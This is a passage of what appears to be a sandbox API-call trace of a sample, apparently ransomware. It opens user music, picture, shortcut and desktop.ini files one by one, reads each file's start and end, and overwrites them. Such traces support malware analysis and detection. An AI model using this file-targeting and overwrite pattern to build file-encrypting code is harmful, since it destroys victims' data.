| out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.042] ReleaseMutex (hMutex=0x128) returned 1 [0068.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Entertainment.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Entertainment.url", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN Entertainment.url", lpUsedDefaultChar=0x0) returned 21 [0068.042] ReadFile (in: hFile=0x1b0, lpBuffer=0x257ee60, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257ee60*, lpNumberOfBytesRead=0x340f2bc*=0x85, lpOverlapped=0x0) returned 1 [0068.043] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.043] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0068.044] CloseHandle (hObject=0x1b0) returned 1 [0068.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.044] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.044] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e6 [0068.044] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.044] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.044] ReleaseMutex (hMutex=0x128) returned 1 [0068.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.lnk", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0068.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Desktop.lnk", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Desktop.lnk", lpUsedDefaultChar=0x0) returned 11 [0068.044] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x340f2bc*=0x1e6, lpOverlapped=0x0) returned 1 [0068.045] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.045] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x76e, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x76e, lpOverlapped=0x0) returned 1 [0068.046] CloseHandle (hObject=0x1b0) returned 1 [0068.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9LA-PCAWpyaYG3S Tl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9la-pcawpyayg3s tl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.046] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.046] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xed94 [0068.046] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.046] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.046] ReleaseMutex (hMutex=0x128) returned 1 [0068.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9LA-PCAWpyaYG3S Tl.mp3", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0068.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9LA-PCAWpyaYG3S Tl.mp3", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9LA-PCAWpyaYG3S Tl.mp3", lpUsedDefaultChar=0x0) returned 22 [0068.046] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.047] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xdd94 [0068.047] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.220] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xdd94 [0068.221] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.221] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.221] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.222] CloseHandle (hObject=0x1b0) returned 1 [0068.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Il-9iojkNFk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\il-9iojknfk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x173a2 [0068.222] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.222] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.222] ReleaseMutex (hMutex=0x128) returned 1 [0068.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Il-9iojkNFk.m4a", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Il-9iojkNFk.m4a", cchWideChar=15, lpMultiByteStr=0x1e633ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Il-9iojkNFk.m4a", lpUsedDefaultChar=0x0) returned 15 [0068.222] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.223] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x163a2 [0068.223] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.223] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x163a2 [0068.223] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.224] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.224] CloseHandle (hObject=0x1b0) returned 1 [0068.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\T64T1JukHD10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\t64t1jukhd10.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2b55 [0068.224] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] ReleaseMutex (hMutex=0x128) returned 1 [0068.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="T64T1JukHD10.m4a", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="T64T1JukHD10.m4a", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T64T1JukHD10.m4a", lpUsedDefaultChar=0x0) returned 16 [0068.225] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.225] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b55 [0068.225] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.226] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1b55 [0068.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.226] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.227] CloseHandle (hObject=0x1b0) returned 1 [0068.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_BEWI_Mf0KwTR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_bewi_mf0kwtr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x10b44 [0068.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.227] ReleaseMutex (hMutex=0x128) returned 1 [0068.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_BEWI_Mf0KwTR.m4a", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_BEWI_Mf0KwTR.m4a", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_BEWI_Mf0KwTR.m4a", lpUsedDefaultChar=0x0) returned 17 [0068.227] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xfb44 [0068.228] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.228] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xfb44 [0068.228] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.229] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.229] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.229] CloseHandle (hObject=0x1b0) returned 1 [0068.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\RzYGvPHXb4z7Angw_6s.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\rzygvphxb4z7angw_6s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc329 [0068.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.230] ReleaseMutex (hMutex=0x128) returned 1 [0068.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RzYGvPHXb4z7Angw_6s.gif", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0068.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RzYGvPHXb4z7Angw_6s.gif", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RzYGvPHXb4z7Angw_6s.gif", lpUsedDefaultChar=0x0) returned 23 [0068.230] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.231] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb329 [0068.231] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.231] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb329 [0068.231] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.231] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.231] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.232] CloseHandle (hObject=0x1b0) returned 1 [0068.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\TWI4uH3aOgOpKVKVVdx4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\twi4uh3aogopkvkvvdx4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x11c68 [0068.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.232] ReleaseMutex (hMutex=0x128) returned 1 [0068.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TWI4uH3aOgOpKVKVVdx4.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TWI4uH3aOgOpKVKVVdx4.png", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TWI4uH3aOgOpKVKVVdx4.png", lpUsedDefaultChar=0x0) returned 24 [0068.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.233] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10c68 [0068.233] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10c68 [0068.234] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.234] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.234] CloseHandle (hObject=0x1b0) returned 1 [0068.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.235] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.235] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1f8 [0068.236] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.236] ReleaseMutex (hMutex=0x128) returned 1 [0068.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0068.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0068.236] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1f8, 